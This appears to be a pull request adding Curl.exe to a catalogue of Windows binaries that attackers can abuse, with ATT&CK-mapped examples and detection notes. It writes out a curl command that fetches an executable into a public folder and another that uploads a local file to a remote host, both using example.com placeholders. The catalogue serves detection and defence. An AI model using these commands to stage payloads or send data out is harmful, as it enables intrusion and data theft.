[defamp]

Add Curl.exe

Adds Curl.exe, bundled with Windows since Windows 10 version 1803. It is a well-known data-transfer LOLBin but was not yet catalogued (note: Tar.exe, also a bundled utility, is already listed, so this is consistent with existing scope).

Commands

• Download (T1105): curl https://example.com/file.exe -o C:\Users\Public\file.exe — retrieve a remote file to local disk using a signed built-in utility.
• Upload (T1048): curl -T C:\Users\Public\data.bin https://example.com/upload — send a local file to a remote host over HTTP.

Notes

• Present by default since Windows 10 1803 (System32 and SysWOW64).
• Includes Full_Path, Detection IOCs, a Resources link (official curl manpage), and Acknowledgement.
• Validated locally with .github/workflows/validation.py → ✅ Valid: yml/OSBinaries/Curl.yml (full run exits 0).